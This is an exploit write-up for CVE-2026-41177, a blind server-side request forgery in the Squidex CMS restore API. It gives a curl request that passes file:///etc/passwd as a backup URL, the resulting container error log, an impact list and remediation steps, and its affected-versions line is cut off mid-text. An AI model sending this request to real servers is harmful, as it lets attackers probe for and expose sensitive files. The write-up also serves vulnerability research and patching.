Exploit for CVE-2026-41177

## https://sploitus.com/exploit?id=76F1F456-F01E-53B3-924F-C403EB5A228A
# CVE-2026-41177: Squidex CMS Blind SSRF

Technical research and analysis for CVE-2026-41177: A Blind Server-Side Request Forgery (SSRF) vulnerability in the Squidex CMS Restore API.

## Vulnerability Overview

*   **CVE ID:** CVE-2026-41177
*   **Affected Component:** Squidex API: Backup / Restore Engine (`/api/apps/restore`)
*   **Affected Versions:** ` with a valid admin token):

```bash
curl -X POST http://localhost/api/apps/restore/ \
  -H 'Authorization: Bearer ' \
  -H 'Content-Type: application/json' \
  -d '{
    "Url": "file:///etc/passwd",
    "Name": "exploit-poc"
  }' -v
```

### 2. Validation via Logs
The following error in the Squidex container logs confirms the internal file interaction:

```json
{
  "logLevel": "Error",
  "message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
  "exception": {
    "type": "System.IO.InvalidDataException",
    "message": "End of Central Directory record could not be found.",
    "stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
  }
}
```
*Note: The `InvalidDataException` confirms that the server successfully accessed and read the bytes of the file.*

## Impact
This vulnerability allows authenticated attackers to:
*   **Filesystem Reconnaissance:** Confirm the presence of sensitive files (e.g., `appsettings.json`, secrets).
*   **Information Disclosure:** In multi-tenant environments, this could potentially be used to access other users' backup files.

## Remediation
*   **Update:** Upgrade to Squidex version **7.23.0** or later.
*   **Protocol Whitelisting:** Strictly allow only `http://` and `https://` schemes.
*   **Input Validation:** Implement a check to reject any URI using the `file://` scheme before processing.
*   **Safe IO Handling:** Ensure that the underlying handlers are restricted from local filesystem resolution for user-provided inputs.

## References
*   [GitHub Security Advisory (GHSA-45fq-w37p-qfw5)](https://github.com/Squidex/squidex/security/advisories/GHSA-45fq-w37p-qfw5)
*   [Official CVE Record](https://vulners.com/cve/CVE-2026-41177)